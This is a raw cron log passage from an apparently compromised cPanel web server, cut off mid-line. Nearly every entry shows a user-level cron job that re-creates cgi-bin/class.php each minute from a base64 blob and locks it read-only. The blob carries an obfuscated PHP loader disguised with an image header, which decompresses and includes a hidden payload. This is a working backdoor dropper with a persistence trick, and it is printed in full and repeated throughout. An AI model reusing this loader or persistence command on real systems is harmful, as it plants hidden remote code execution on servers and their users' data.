Apr  7 06:21:01 server CROND[2823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:22:01 server CROND[2876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:23:01 server CROND[3029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:24:01 server CROND[3088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:25:01 server CROND[3141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:25:01 server CROND[3142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:25:01 server CROND[3143]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:25:01 server CROND[3144]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 06:26:01 server CROND[3248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:27:01 server CROND[3331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:27:01 server CROND[3332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 06:28:01 server CROND[3497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:29:01 server CROND[3554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:30:01 server CROND[3613]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:30:01 server CROND[3614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:30:01 server CROND[3615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:30:01 server CROND[3616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:31:01 server CROND[3724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:32:01 server CROND[3775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:33:01 server CROND[3939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:34:01 server CROND[3998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp